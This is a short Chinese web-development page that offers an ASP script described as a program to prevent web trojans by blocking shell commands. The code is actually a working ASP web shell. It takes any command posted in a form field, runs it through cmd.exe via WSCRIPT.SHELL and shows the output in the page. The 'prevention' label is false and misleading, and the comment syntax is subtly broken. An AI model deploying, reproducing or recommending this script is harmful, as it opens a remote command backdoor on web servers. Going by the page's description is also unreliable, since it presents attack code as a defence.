【www.gdgbn.com--设计基础】

＜title＞asp网页木马防止程序＜/title＞我们能过防止shell命令来做的.
＜%@ Language=VBScript %＞
＜%
　Dim oScript
　Dim oScriptNet
　Dim oFileSys, oFile
　Dim szCMD, szTempFile
　On Error Resume Next
　-- create the COM objects that we will be using --
　Set oScript = Server.CreateObject("WSCRIPT.SHELL")
　Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
　Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
　-- check for a command that we have posted --
　szCMD = Request.Form(".CMD")
　If (szCMD ＜＞ "") Then
　　-- Use a poor mans pipe ... a temp file --
　　szTempFile = "C:" & oFileSys.GetTempName( )
　　Call oScript.Run ("cmd.exe /c " & szCMD & " ＞ " & szTempFile, 0, True)
　　Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0)
　End If
%＞
＜HTML＞
＜BODY＞
＜FORM action="＜%= Request.ServerVariables("URL") %＞" method="POST"＞
＜input type=text name=".CMD" size=45 value="＜%= szCMD %＞"＞
＜input type=submit value="执行命令"＞
＜/FORM＞
＜PRE＞＜%
　If (IsObject(oFile)) Then
　　-- Read the output from our command and remove the temp file --
　　On Error Resume Next
　　Response.Write Server.HTMLEncode(oFile.ReadAll)
　　oFile.Close
　　Call oFileSys.DeleteFile(szTempFile, True)
　End If
%＞
＜/BODY＞
＜/HTML＞

本文来源：http://www.gdgbn.com/wangyezhizuo/16539/